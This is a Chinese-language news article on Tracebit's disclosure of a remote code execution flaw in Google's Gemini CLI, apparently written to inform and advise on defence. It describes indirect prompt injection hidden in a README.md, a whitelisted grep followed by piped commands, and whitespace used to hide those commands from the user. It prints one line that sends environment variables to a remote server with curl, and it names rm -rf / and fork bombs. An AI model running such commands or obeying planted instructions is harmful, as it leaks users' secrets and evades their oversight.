AI编程工具Gemini CLI的出现，旨在通过人工智能技术赋能开发者，提升在终端环境中的代码编写效率。然而，其便利性的背后却隐藏着严峻的安全挑战。安全研究公司Tracebit的专家们仅用不到48小时，就揭示了Gemini CLI中一个高度隐蔽且极具破坏力的远程代码执行（RCE）漏洞。这项发现不仅震惊了业界，更深刻警示了我们对“代理式”AI工具安全性的重新审视。
Gemini CLI：功能与风险并存的AI编码利器
Gemini CLI是一款由Google推出的免费、开源AI工具，它直接在终端环境中运行，为开发者提供代码编写与修改的协助。该工具与Google最先进的Gemini 2.5 Pro模型深度集成，尤其擅长代码生成与模拟推理任务。与在文本编辑器中工作的Gemini Code Assist不同，Gemini CLI直接在命令行界面（CLI）中操作，这种“命令行氛围编程”的模式，赋予了它直接与系统底层交互的能力，从而也引入了前所未有的安全风险。
Tracebit研究团队的报告在Google发布Gemini CLI的当天（6月25日）公开，而到了6月27日，他们就已经成功设计出了一种能够绕过Gemini CLI内置安全控制的攻击方式。这意味着，在默认配置下，这款本应辅助编码的工具，可能在用户毫无察觉的情况下，悄然执行恶意指令，泄露敏感数据，甚至对系统造成不可逆的破坏。
深入剖析隐蔽攻击链：如何实现远程代码执行
此次Gemini CLI漏洞的成功利用，并非单一缺陷所致，而是间接提示注入（Indirect Prompt Injection）、不当验证机制及用户界面欺骗等多重漏洞的巧妙串联。这种攻击链的复杂性与隐蔽性，使其成为AI安全领域一个值得深思的案例。
提示注入：潜藏在描述文件中的恶意指令
攻击的核心在于“提示注入”，特别是“间接提示注入”这一新兴的AI攻击类型。不同于用户直接输入的恶意指令，间接提示注入利用的是AI模型在解析外部数据源（如电子邮件、图片或代码库中的文件）时，无法有效区分合法用户指令与数据中隐藏的恶意指令。在此次攻击中，Tracebit研究员将恶意指令伪装成自然语言语句，巧妙地嵌入在一个看似普通的README.md文件中。
攻击者构建了一个恶意代码包，其内容本身是无害的。真正的恶意载荷隐藏在README.md文件的寥寥数语中。开发者通常会快速浏览这些描述文件，因此很难发现其中的异常。然而，Gemini CLI作为AI代理，则会仔细阅读并消化文件的全部内容，这正是其“中招”的关键。这种方式利用了大型语言模型（LLM）“取悦”用户的内在倾向，即便指令与模型自身编程相冲突，或者来源于不被信任的源头，LLM仍可能遵循其指示。
多重漏洞串联：绕过白名单与隐蔽执行
此次攻击的成功，离不开两个关键的技术环节：
不当的命令验证机制：Gemini CLI默认会阻止命令的直接执行，除非用户明确授权。用户可以实时批准命令，或为了便捷将常用命令加入白名单。Tracebit利用这一点，首先注入了一个相对无害的
grep命令，诱导用户将其添加到白名单。一旦grep命令被允许，攻击者便在其后通过管道符|附加了更具破坏性的命令，如env | curl --silent -X POST --data-binary @- http://remote.server:8083。令人担忧的是，Google在修复前，Gemini CLI对于白名单中的命令，仅验证第一个元素（即grep），而不会对后续通过管道符连接的命令进行完整校验，这为攻击者提供了“搭便车”执行任意命令的机会。欺骗性用户界面：为了确保攻击的隐蔽性，Sam Cox在命令字符串的中间加入了大量的空白符。这种看似简单的处理方式，却能有效改变命令在用户界面状态信息中的显示方式。当
grep命令执行完毕后，Gemini CLI会向用户反馈任务完成情况，但由于空白符的存在，后续的恶意env和curl命令会被隐藏在屏幕外，从而让用户在整个过程中毫不知情。这种“沉默执行”模式使得受害者甚至无法意识到自己的设备已被入侵。
危害几何：从数据窃取到系统毁灭
Tracebit的攻击演示中，选择执行的命令是将设备的“环境变量”发送到攻击者控制的服务器。环境变量通常包含系统配置信息，甚至可能包含敏感的账户凭证。Sam Cox强调，这种攻击技术能够执行几乎任何命令，包括诸如rm -rf /（删除硬盘上的所有文件和文件夹）或“forkbomb”类命令（通过不断创建进程耗尽系统资源导致崩溃）等具有毁灭性的操作。这意味着，攻击者不仅可以窃取数据，甚至可以完全控制受害者的机器，安装远程Shell，实现持久性访问。
AI安全攻防的挑战与防护策略
Gemini CLI的这一漏洞，再次将AI安全领域的核心难题——提示注入——推向风口浪尖。大型语言模型对指令的“依从性”和对外部数据“边界”的模糊识别，是造成此类问题的深层原因。目前，LLM开发者尚未找到彻底解决根本性问题的方法，大多仍依赖于构建缓解措施来限制提示注入可能造成的危害。
此次事件也提供了一个宝贵的行业对比案例。Sam Cox表示，他对Anthropic Claude和OpenAI Codex等其他“代理式”编码工具进行了类似的测试，但由于它们实施了更为严格和完善的白名单处理流程，因此并未受到此漏洞的影响。这表明，虽然提示注入是AI大模型的共性挑战，但通过更健壮的安全设计和验证机制，可以显著降低其攻击面。
针对Gemini CLI的用户，Google已于上周发布了关键修复（版本0.1.14），并将其漏洞和修复等级列为Priority 1和Severity 1，充分体现了对其潜在危害的重视。作为开发者和普通用户，我们也应采取以下防护措施：
- 及时更新软件：确保Gemini CLI及其他AI辅助工具始终保持最新版本。
- 谨慎对待未知代码包：在运行任何未经充分审查的第三方代码包时，务必保持高度警惕。
- 启用沙箱环境：在处理不可信代码时，务必在沙箱（sandboxed environment）中运行Gemini CLI，隔离其对主系统的潜在影响。值得注意的是，沙箱并非默认开启，用户需要手动配置。
- 提升安全意识：理解AI工具的运行机制及其潜在的安全边界，不盲目信任AI的“善意”。
Gemini CLI的漏洞事件是AI技术高速发展中必然遇到的安全挑战之一。它提醒我们，在享受AI带来便利的同时，必须同步提升安全防护的层级与深度。未来，对AI代理的安全审计、输入验证机制的强化、以及用户对AI行为的理解与控制，将是确保AI技术健康发展的关键。
